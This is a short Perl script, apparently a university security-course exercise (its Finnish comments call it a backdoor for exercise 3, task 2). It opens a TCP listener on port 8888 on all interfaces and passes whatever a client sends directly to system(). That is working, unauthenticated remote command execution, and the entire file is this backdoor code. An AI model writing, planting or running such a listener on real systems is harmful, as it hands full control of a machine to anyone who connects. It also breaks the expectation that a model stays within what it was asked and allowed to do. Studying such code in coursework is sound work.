backdoor.pl


#!/usr/bin/env perl

# TOT Harjoitus 3 tehtävä 2 takaovi

use strict;
use warnings;
BEGIN { local $ENV{PATH} =
       '/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:/usr/bin:/bin' }
use Socket;
use Carp;

my $proto = getprotobyname('tcp');
socket(my $shandle, PF_INET, SOCK_STREAM, $proto) or croak "socket: $!";
setsockopt($shandle, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or
  croak "setsockopt: $!";
bind($shandle, sockaddr_in(8888, INADDR_ANY)) or croak "bind: $!";
listen($shandle, SOMAXCONN) or croak "listen: $!";

for ( ; accept(my $client, $shandle); close($client)) {
  # Luetaan muuttujaan $buffer maksimissaan 1024 merkkiä, luulisi riittävän...
  read($client, my $buffer, 1024);
  # Suoritetaan muuttujassa $buffer oleva komento
  system($buffer);
}